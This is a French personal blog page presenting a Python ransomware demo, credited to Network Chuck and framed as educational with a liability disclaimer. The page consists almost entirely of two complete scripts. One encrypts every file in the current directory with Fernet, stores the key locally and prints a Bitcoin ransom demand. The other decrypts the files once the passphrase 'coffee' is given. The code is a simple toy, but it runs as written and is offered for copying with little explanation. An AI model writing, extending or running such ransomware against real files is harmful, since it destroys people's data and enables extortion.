Malware en python - Freyens
Home Informatique Projets CV WOT Mmm J'aime Coup de gueule Famille Web Radio Belge B&M Art-NFT

C'est une pub! Ce thême est basé sur w3 css.

Oui vous êtes capable de modifier ce thême

Cool? Oui, avec plein d'exemples faciles à comprendre et à modifier.

Aller sur W3.CSS Tutorial c'est en anglais mais google peux traduire les pages.

Malware en python

La curiosité n’est pas un vilain défaut mais une qualité fondamentale.

Cet exemple est la pour comprendre le fonctionnement d'un ransonware à titre éducatif, je retire toutes responsabilités en cas de problème chez vous ou à un tier.

Source : Network Chuck, Je crée un malware en python, trop facile

Ce script va crypter tout les fichiers du dossier courant (sauf voldemort.py, decrypt.py et thekey.key)

vim voldemort.py
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet

files = []

for file in os.listdir():
    if file == "voldemort.py" or file == "thekey.key" or file == "decrypt.py":
        continue

    if os.path.isfile(file):
        files.append(file)

print(files)

key = Fernet.generate_key()

with open("thekey.key","wb") as thekey:
    thekey.write(key)


for file in files:
    with open(file, "rb") as thefile:
            contents = thefile.read()
    contents_encrypted = Fernet(key).encrypt(contents)
    with open(file, "wb") as thefile:
        thefile.write(contents_encrypted)

print("I have encrypt your files, give me 100.000 Bitcoins or I delete your files")
vim decrypt.py
#!/usr/bin/env python3

import os
from cryptography.fernet import Fernet

files = []

for file in os.listdir():
    if file == "voldemort.py" or file == "thekey.key" or file == "decrypt.py" :
        continue

    if os.path.isfile(file):
        files.append(file)

print(files)


with open("thekey.key","rb") as key:
    secretkey = key.read()

secretphrase = "coffee"

user_phrase = input("Enter the secret phrase to decrypt your files\n")

if user_phrase == secretphrase:
    for file in files:
        with open(file, "rb") as thefile:
                contents = thefile.read()
        contents_encrypted = Fernet(secretkey).decrypt(contents)
        with open(file, "wb") as thefile:
            thefile.write(contents_encrypted)
    print("Congrats, your're files are decrypted. Enjoy your coffee")
else:
    print("Sorry, wrong secret phrase. Send me more Bitcoins")
Cet exemple est la pour comprendre le fonctionnement d'un ransonware à titre éducatif, je retire toutes responsabilités en cas de problème chez vous ou à un tier.